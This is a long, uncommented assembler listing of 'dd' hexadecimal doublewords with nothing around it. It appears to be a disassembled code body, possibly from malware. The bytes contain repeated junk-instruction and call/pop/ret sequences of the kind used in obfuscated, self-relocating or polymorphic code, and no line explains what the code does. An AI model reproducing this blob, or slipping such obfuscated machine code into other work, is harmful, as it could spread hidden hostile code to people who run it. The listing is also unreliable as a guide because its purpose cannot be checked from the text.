		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0BE682420h
		dd 8E3E84D9h, 0F68166E1h, 0E6814D81h, 279667D9h, 4D6B8D8Dh
		dd 6A0629h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 5B862C3h,	57000000h, 2CC99D89h, 8B5F0629h
		dd 2933D9B5h, 89E1FF06h, 291EE99Dh, 0A98D8D06h,	0E9062909h
		dd 14h,	3EE7BD44h, 0CBD7FA0Fh, 3DB1494Dh, 0EE035520h, 4BCD8277h
		dd 727C01C7h, 0F1BE44AAh, 8173F954h, 99CFCB01h,	57006A14h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 57E95C5h, 0CEC658F2h, 0BD3389D1h, 6291F29h, 3C0441C7h
		dd 6ACE7875h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0F6C3C357h, 4181A1A4h,	0D6D71004h
		dd 0F6816631h, 0B5336EFEh, 6291699h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 4677C2C3h
		dd 0FE8BB74Ch, 9A9858Dh, 31600629h, 291EC5BDh, 68A0F06h
		dd 29000000h, 290DD1B5h, 89506106h, 880F2404h, 0Ch, 0DBBA6660h
		dd 998D8B6Fh, 61062924h, 83595FFh, 6A0629h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0E14FE3C3h
		dd 0B6989116h, 5870F34h, 0BF000000h, 4DA2C1C7h,	9A98D8Dh
		dd 0BD8B0629h, 6292439h, 1C7h, 8B660000h, 441C7FBh, 0
		dd 63BFF78Bh, 0B0C1FCFh, 0C2840FC0h, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 5118C353h, 665D00E1h, 69B50906h, 8D062909h, 294D6B8Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 4651D700h, 150AC1F6h, 0BA60563Ch, 4292D26Eh
		dd 5B861h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0C7B29C3h, 69B589B3h, 0E906290Ah
		dd 0Ch,	51B19506h, 37165F58h, 1BFBC055h, 6AE1FFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 2D1902C3h, 6B94A612h, 880F5217h, 0
		dd 0A98D8D5Eh, 6A062909h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0BA0C353h, 8EDB58Bh
		dd 0BD8B0629h, 6292439h, 95A501C7h, 6A54CAh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 81A3A6C3h
		dd 99CFCB01h, 55006A14h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 3B46EC49h, 66AC939Bh, 41C7FB8Bh
		dd 5F596904h, 51006ACEh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 9D659CEDh, 0D018589h, 41810629h
		dd 0D6D71004h, 52006A31h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0E2ECA5A2h, 534FE57Fh
		dd 61EE8166h, 6A006A26h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0B666C351h,	5D36C0BAh
		dd 7B539F8Ch, 9A9858Dh,	6A0629h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0C95256C3h, 0DDCD5499h
		dd 0DE99062h, 0D9000000h, 0B02D37FEh, 0F372370Dh, 705CDB7Eh
		dd 90F28B50h, 12E9h, 941C4700h,	768102D9h, 38897B94h, 0C92B5518h
		dd 0FF395BE0h, 29083595h, 79853106h, 2906292Bh,	292341B5h
		dd 0A98D8D06h, 8B062909h, 290101B5h, 1C706h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0F34EC357h, 4877047Ah, 0CA72ACFh,	3269BD8Bh
		dd 41C70629h, 4, 1D952900h, 0B062909h, 55840FC0h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 4841C350h, 9A3CF681h, 8D8D7E81h, 6294D6Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0C8C35242h
		dd 8F0FFE8Bh, 1, 5B8F9h, 0E1FF0000h, 28E9CA03h,	6AFFFFF1h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 6494C351h, 0ACD5B84h, 6870Fh, 0BD8B0000h
		dd 6290F61h, 89C18BF9h,	293255B5h, 4EB06h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0DA1CC357h, 35BEAC92h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 8C35747h, 533C1174h, 0EE9h, 0EFFB6400h
		dd 3A72DC8Bh, 47E82A96h, 5F649EE1h, 1A81BD8Bh, 858D0629h
		dd 6291425h, 2431B589h,	50900629h, 6A905F52h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 7F75C357h, 6718BA9Eh, 6A8C91A2h, 9E800h, 0A2EE0000h
		dd 0E8ED512h, 29167643h, 2927019Dh, 0BD895F06h,	62930A1h
		dd 8166006Ah, 8D6CE5EFh, 2CF15185h, 658D3106h, 83062933h
		dd 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 90D476C3h, 8E8h, 6AC66C00h, 1E6446DFh, 6E9A3h
		dd 149E0000h, 850AD131h, 0BE9505Fh, 95000000h, 49C8C871h
		dd 0F0DACA66h, 6A90C2BBh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 1C6FC353h, 10719D29h
		dd 6A0629h, 2679B589h, 6A0629h,	27E59509h, 0CF810629h
		dd 31F503DAh, 0CED95FFh, 6A0629h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 93DD04C3h, 9D8DA8AEh
		dd 62C9808h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	19C35747h, 6AD3FFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 311123C3h, 85FF6B24h
		dd 6292A15h, 94D65BFh, 7CAE973h, 0E80000h, 5D000000h, 0F15BED81h
		dd 0BE66062Ch, 0BD81C1FAh, 6292841h, 7D0h, 0FE860Fh, 81520000h
		dd 0E66441DEh, 0F78B5F59h, 30B19D8Bh, 25BF0629h, 813A447Bh
		dd 100E3h, 0C58D8900h, 0B062917h, 93850FDBh, 8B000000h
		dd 293379BDh, 0A5B58B06h, 83062927h, 2CEF93BDh,	840F0006h
		dd 41h,	0FF7BF0Fh, 489h, 0D1BF6600h, 7DE915h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 4492E2C3h, 0E94D9F66h, 9, 60E70F41h,	16F486C6h, 9385C72Eh
		dd 1062CEFh, 8B000000h,	2924A9B5h, 39E906h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 591956C3h, 880Fh, 85C70000h,	62CEF93h, 0
		dd 58B0Fh, 25BE0000h, 8D104D2Ah, 2930B19Dh, 830F6006h
		dd 0Dh,	7E8h, 0D1A4A600h, 16B27B07h, 28D0F5Eh, 8B000000h
		dd 0BE6661F7h, 2381A354h, 0FFFFFEFFh, 81DB8C66h, 3077A2F7h
		dd 45858921h, 0F6062933h, 840F04C3h, 84h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Bh, 21C35747h, 76A1E0Dh
		dd 0E9577B0Ah, 13h, 5C97A40Ch, 64E0ACh,	0C3AD1E86h, 56F7FB0Ch
		dd 66C87D46h, 0FFAFB2BEh, 290EA195h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 5257C6F0h
		dd 0F905E5Fh, 0E81h, 50525000h,	5A310F52h, 8B310F58h, 50585AF1h
		dd 18B0F90h, 0F9000000h, 444E9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 8513B8B8h
		dd 0C0CFBE66h, 0B0B8B5h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 7AC35646h, 0D2F850EFh, 25BD8BF9h, 0E6062933h
		dd 5771E470h, 1ECDBD33h, 0F5F0629h, 6AD8B6h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 297440C3h
		dd 0BF6618E6h, 6BA3BA1h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 640DC356h
		dd 14E9C25Fh, 0F5000000h, 0B16B2E95h, 0EDFC08AFh, 0A57A7A61h
		dd 8248D4B4h, 8BDDF7A8h, 0B58B60C3h, 629110Dh, 237DBD8Bh
		dd 0C1610629h, 952904E8h, 6290ED5h, 0FE2F766h, 388h, 0F8B70F00h
		dd 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0C3F4D9C3h, 6E85685h, 0E8000000h,	693B5CD4h
		dd 28E0F4Bh, 60000000h,	89505F61h, 6A241Ch, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 970127C3h
		dd 0FE8h, 6CFCF900h, 0D49AE719h, 33B05346h, 0B02BB609h
		dd 5E8h, 6B708C00h, 8531F2C3h, 6291381h, 0B5FF5F5Eh, 6292841h
		dd 2441B52Bh, 95FF0629h, 6290591h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 5EC35141h, 350E6854h, 6E8EBD4h
		dd 3A000000h, 5F34E7A3h, 45CE81D2h, 5E095F41h, 0ECDE8166h
		dd 0E9B58B54h, 0B0062900h, 0F78B6600h, 6A70E6h,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 9638A7C3h, 9D899318h, 6291825h, 6A71E4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0D65862C3h
		dd 613CEEE0h, 23B830Fh,	0DFBF0000h, 0F002A25h, 8529D8B6h
		dd 6291429h, 1E45F681h,	6BA36CAh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0EC95C350h, 37D659F2h, 4A696895h, 28758501h,	0D7810629h
		dd 57C0A6EAh, 6AC38Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0A5AF84C3h, 0B5097797h, 62913A9h
		dd 8904E8C1h, 291A4985h, 0E2F76606h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0B0C35242h,	518B6269h, 8A0F51h
		dd 5F000000h, 6AD82B5Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 6D4EC351h, 63B9C29Ah
		dd 6A58F8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 3E902DC3h, 1CCF8162h, 2B6B0B76h, 42880FD8h
		dd 60000001h, 13E9h, 42D8E500h,	5E2060B1h, 951D987Eh, 3B1B9986h
		dd 0B49E75Eh, 55D8D31h,	0B9610629h, 7, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 54C35545h, 0D47DBAC5h, 1A0F5E53h
		dd 54BF66BDh, 0E7816694h, 0C183D15Dh, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 9FC0193Fh, 0E6318367h, 5B5CCE81h, 0D93B68F3h, 0BB860Fh
		dd 8C660000h, 9D8B60D9h, 629288Dh, 61D2BF0Fh, 0F04C1F6h
		dd 9F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0E0EF302h, 9A8FA7C3h, 0EA195FFh
		dd 6A0629h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 4457EBC3h, 8BAD1615h, 860F811Ah, 6, 1B419D89h
		dd 6A5B0629h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0A4F0C351h, 14DC55EBh,	0BD03884Fh
		dd 6291841h, 343DC32Bh,	0F000008h, 0F86h, 0FE900h, 5E90000h
		dd 0CE000000h, 0EA1419FBh, 0BF0FC08Bh, 8BC38BF7h, 0DFE681D8h
		dd 0C726ACB1h, 29136985h, 47C31B06h, 51006A37h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0F88B66E6h
		dd 0BF66C08Bh, 0BD814979h, 6292841h, 7D0h, 26850Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0B598A6C3h, 85FFFA8Bh, 6292841h, 2841B5FFh, 0FB8B0629h
		dd 59195FFh, 0BD8B0629h, 6290491h, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 37918F84h
		dd 31FA8BE6h, 2923619Dh, 0DF816606h, 8BF5EA06h,	290459BDh
		dd 5FFC5206h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	90C35242h, 0F6C7C938h, 0E056D950h, 14E96Eh, 9FEF0000h
		dd 46CF145Ch, 0D3F0A2D4h, 8B3AB9CBh, 0A9E54939h, 8F0F98E6h
		dd 6, 8E03C681h, 0BD8911D5h, 62913C1h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 4EC35343h, 0B58B00FAh, 6291B81h
		dd 1E218D89h, 0B58B0629h, 6292001h, 12E8h, 0EC96A400h
		dd 26BFDEE5h, 0D883D89h, 15C9267Fh, 0F6535F9h, 1F87h, 14E900h
		dd 9B540000h, 6621085Ah, 943B7952h, 0C67742EEh,	0EF143C73h
		dd 0BD2999CAh, 629247Dh, 0FE85Fh, 0F60F0000h, 0D695ED08h
		dd 7ADA74DBh, 0DD9FB605h, 8589528Ch, 629003Dh, 63E95E5Eh
		dd 6AFFFFF8h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0BAABC350h, 0FB8B66E3h, 8BF7B70Fh
		dd 2906D5BDh, 0F38B6606h, 8D89C18Bh, 62930C9h, 4EBh, 0FB8B0000h
		dd 1425858Dh, 6A0629h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 5748EFC3h, 840F5790h, 10h, 0AE8h
		dd 4C3F6200h, 9D03F25Eh, 5EF5B72Fh, 6652505Fh, 5EDF91BFh
		dd 59BD8B90h, 6A06291Ah, 9958900h, 6A062916h, 0B9B58B00h
		dd 89062905h, 29135DB5h, 0C0858D06h, 6A062CFAh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 33F8C355h, 18E3B631h, 2E119589h, 8D890629h, 62914C9h
		dd 6A05C083h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0E6A4C353h, 4BA5DBADh,	8B664B2Ah
		dd 48950F2h, 4D0CBE24h,	6A1B5Eh, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0F7C35646h,	3AD99C61h, 9501A42Bh
		dd 629071Dh, 0FE8h, 48FD3C00h, 0E2659B55h, 958193BEh, 0F8BAFE12h
		dd 8318D89h, 6A5F0629h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 5E314BDAh, 0DF125C9Dh, 840F373Eh, 10h, 0BE9h
		dd 0D1122600h, 0A1DCF065h, 1121EDBCh, 0CED95FFh, 81660629h
		dd 8DFAF1E7h, 2C98089Dh, 0D6816606h, 0D3FF6025h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A8C35040h, 7D43AB19h
		dd 0AD9490A3h, 0A71BD89h, 85FF0629h, 6292A15h, 82DE9h
		dd 0E800h, 815D0000h, 2CFACAEDh, 0FEB70F06h, 2841BD81h
		dd 7D00629h, 860F0000h,	154h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0A9C35545h,	53C6D74Fh, 4D4A0130h
		dd 113A06BFh, 95896021h, 6291269h, 27ED8D89h, 8B610629h
		dd 2909D19Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0E3818Ah,	0E8000001h, 0Eh, 0B889FBDEh
		dd 0DEE47CCAh, 0A395E868h, 8D8906E8h, 62932F1h,	0FDB0B5Fh
		dd 6C85h, 83F18B00h, 2CF92ABDh,	840F0006h, 3Eh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 65C35646h, 399DFDDBh
		dd 58B39B1Bh, 25F9B58Bh, 0F9600629h, 7DE961F8h,	89000000h
		dd 2914359Dh, 0F6816606h, 85C717C9h, 62CF92Ah, 1, 6996BE66h
		dd 5FE9h, 830F00h, 29000000h, 2919D18Dh, 2A85C706h, 62CF9h
		dd 0E8000000h, 14h, 533DE28Ah, 626B8111h, 87E1EE05h, 82E93EB9h
		dd 65E7FABFh, 0DE9h, 3060A100h,	5D971B4h, 4DDA7953h, 0E85F56E2h
		dd 11h,	9AEE1CA1h, 6222C785h, 99B38AD6h, 900C0A8Eh, 0C9B58BE7h
		dd 5F06290Ah, 9D19D8Dh,	82BF0629h, 81508D64h, 0FFFEFF23h
		dd 0F78B66FFh, 6ADB8C66h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0B8B4C351h,	0F04C3F6h
		dd 4884h, 10E900h, 0D1D60000h, 0A053B661h, 50CE17DDh, 0F8C0DCC1h
		dd 95FF9D22h, 6290EA1h,	2918B0BFh, 0BF665014h, 489BA7Ch
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8B666DA5h, 41EE9F9h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0ACDDFFC3h
		dd 0E187D913h, 0B0F85Eh, 6119D89h, 70E60629h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0FBC35040h, 0FEFBF5Dh
		dd 71E48525h, 11E1BD29h, 0B60F0629h, 4AD781D8h,	576751F6h
		dd 21059D01h, 0BA5F0629h, 6, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0AEC35141h,	20F3DCDAh, 8B6E136Bh
		dd 51006AC3h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 98E1694h, 0E8C1F99Bh, 57006A04h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0DCE5FA75h
		dd 17F36104h, 6AE2F766h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 9954C355h, 572E8969h
		dd 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0B86069C3h, 6BEECA03h, 95895261h,	6291EC5h
		dd 0F52935Fh, 580h, 0F7ABBF00h,	505E1B61h, 78D0F93h, 60000000h
		dd 8B66D98Bh, 0B5FF61F3h, 6292841h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 9DC35747h, 2971BD8Bh, 95FF0629h
		dd 6290591h, 4918589h, 0B00629h, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0A0C35141h,	8E9DF08Ch, 0EE9E546h
		dd 84000000h, 9030BC6Eh, 56D8895Bh, 0F9F5891h, 75B58B55h
		dd 0E606290Dh, 56006A70h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0B4530A6Fh, 0B58B84EAh
		dd 62905C9h, 3CF871E4h,	31830F61h, 1000002h, 2906659Dh
		dd 0D8B60F06h, 1820Fh, 89F80000h, 29185D95h, 6BA06h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 6D4E6BC3h, 63B9C29Ah, 89071597h, 2923D59Dh, 89C38B06h
		dd 290829BDh, 4E8C106h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0D3C35040h, 0E2F76672h, 1890Fh, 2BF90000h
		dd 3884BFD8h, 6A584B5Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 8343C350h, 73D6BD6Dh
		dd 2B5DB529h, 0D82B0629h, 182880Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 22C785C3h
		dd 89FA8B66h, 29337D95h, 4FEE8106h, 0B93112AFh,	7, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0E7C35242h, 8B00C183h
		dd 2924A1B5h, 15B58B06h, 3B06290Ah, 1D860FD9h, 29000001h
		dd 29174995h, 8B665106h, 8C665FF1h, 55006AD9h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0F3BF0FF0h
		dd 287DBD8Bh, 0C1F60629h, 0B6840F04h, 89000000h, 2909298Dh
		dd 0F08B6606h, 0EA195FFh, 83BE0629h, 5B5C8850h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0F2C35545h, 8E9C681h
		dd 57000000h, 6DB1998Ch, 2B0B0153h, 2860FC3h, 8B000000h
		dd 8343DFEh, 860F0000h,	61h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 81C35242h, 7BAD8661h, 0DB78A1C0h
		dd 62E986h, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0BFE8F2C3h, 0E95EC5C0h, 11h, 0A4240CFEh
		dd 80345AEFh, 6A907979h, 0BAD76379h, 6AC08B77h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 3152C352h, 0F1B22C27h, 66AE4B59h, 0B201F681h, 0D88BC38Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0B6C35545h
		dd 9813DD84h, 4353E798h, 16D58D29h, 85C70629h, 62930B1h
		dd 71E9A9BFh, 729BD8Bh,	0C08B0629h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 6BC35040h, 24F55CCEh, 8DB5896Fh
		dd 8106290Ch, 292841BDh, 7D006h, 35850F00h, 8B000000h
		dd 291E9DB5h, 0B58D2906h, 0FF062907h, 29284185h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 958960FCh, 6293035h,	2841B5FFh, 8B0F0629h, 6, 257DBD31h
		dd 95FF0629h, 6290591h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0BFC35545h, 0FACCD11Bh, 0FA464DF6h, 0DDBD8BC8h
		dd 90062917h, 384CBF66h, 10E8h,	5975300h, 39621781h, 0AD28DA12h
		dd 605D02DDh, 0FEDF81DCh, 5E6D5232h, 1A6DB589h,	0BF660629h
		dd 70BE09FDh, 6A287FF3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 64BCC352h, 3AB8592Ch
		dd 66736184h, 0F9C1EBFh, 0A86h,	9BF6600h, 61B58BEBh, 89062920h
		dd 2916CD85h, 0F5858906h, 60062928h, 5CCA8166h,	0DF8166E4h
		dd 0D9814FA6h
		dd 3B1F5813h, 0C8E0F61h, 0B000000h, 291AB1BDh, 0F1BD2906h
		dd 6A06291Dh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 6368C350h, 0D9D91DF4h,	967455Dh
		dd 7830Fh, 8B660000h, 5CBF66F0h, 53006A66h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0DCF15F69h
		dd 14E8h, 0FCB72000h, 91BAA1B2h, 2E9CE0B4h, 42139F4Ch
		dd 0ADAB336Ah, 0B589568Eh, 62928A5h, 129DB58Bh,	5F5E0629h
		dd 0F2E9FA8Bh, 6AFFFFF7h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 6E12C356h, 0C18BC5C2h
		dd 48E0Fh, 0BF660000h, 4EBFA4Ah, 0
		dd 5850F51h, 66000000h,	6A53EF81h, 0C781665Fh, 6A1892h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0DE0BC0C3h, 29B74385h, 8DF38BF7h, 29142585h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0EC61E7C6h, 0ED1B7B1Eh, 0F78B63D6h, 2087BE51h, 8B5E10FDh
		dd 291229B5h, 0BDBE9006h, 506EC552h, 0C6FDBDBFh, 8B669009h
		dd 6A006AF9h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 91CC350h, 2934A5B5h, 9006A06h
		dd 2928C595h, 0D3858D06h, 6A062D04h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0DA07C356h
		dd 8936998Bh, 291DD1BDh, 0B5BD0B06h, 83062927h,	6A05C0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 7740A3C3h, 0C0167EB4h, 89BD8BF2h, 90062911h,	8B665250h
		dd 5A310FF0h, 8F0F5058h, 4, 0ABECBE66h,	3860F90h, 0F000000h
		dd 6AFABFh, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 15h,	7AC35545h, 0D68166F4h, 6AC95Ah,	0C8D0Fh, 820F0000h
		dd 6, 639B58Bh,	95FF0629h, 6290CEDh, 99D8529h, 9D8D0629h
		dd 62C9808h, 2D29B58Bh,	0D3FF0629h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0B7C35040h,	0A2FE4AE8h, 8D89A342h
		dd 62932B5h, 2A1585FFh,	6A0629h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 1B6219C3h, 0E5BD8BAAh
		dd 0E9062916h, 92Dh, 0E8h, 0ED815D00h, 62D04DDh, 81F3BF0Fh
		dd 292841BDh, 7D006h, 54860F00h, 6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0CF83C350h
		dd 0FE9h, 0DC988700h, 72AB6249h, 0E35EDFh, 0EC2AF2CFh
		dd 2A499D8Bh, 6A0629h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 81676EC3h, 100E3h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 13E8214Eh, 58000000h, 19B67732h, 31E521F9h, 0FED8A50h
		dd 0F472BE33h, 0B5ED0A2h, 85850FDBh, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0C0B8C351h, 0BEE31C44h, 0A78A82A2h, 83FFB70Fh, 2D0300BDh
		dd 840F0006h, 35h, 25A58589h, 4FE90629h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 916C356h, 0ACEDE973h, 15DCA483h, 383F98BEh, 85C708h
		dd 1062D03h, 8B000000h,	29136DBDh, 10E906h, 9D010000h
		dd 6293239h, 30085C7h, 62Dh, 9D8D0000h,	6292A49h, 2381F9FCh
		dd 0FFFFFEFFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	9BC35646h, 66BBAB91h, 6ADB8Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 798B8C3h
		dd 66CB7F48h, 0F6318BBFh, 840F04C3h, 81h, 12E8h, 585CC300h
		dd 0F3CBBD80h, 668192E1h, 0C7CA2532h, 5E561EE1h, 0EA195FFh
		dd 6A0629h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 1CC27C3h,	291F05BDh, 0C5B50106h, 0E9062928h
		dd 10h,	678B181Eh, 430907Fh, 0E1D66B75h, 595F011Fh, 2CBF6690h
		dd 0FA8B504Eh, 53006A90h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 4E0E9A2h, 0BD310000h
		dd 629313Dh, 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0B8295EC3h, 0F78B666Ah, 6A70E6h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 5B445DC3h, 0BD8B718Dh, 6291E1Dh, 526071E4h, 5EA3CF80h
		dd 61DA8B66h, 6AD8B60Fh, 3E85000h, 20000000h, 8958C358h
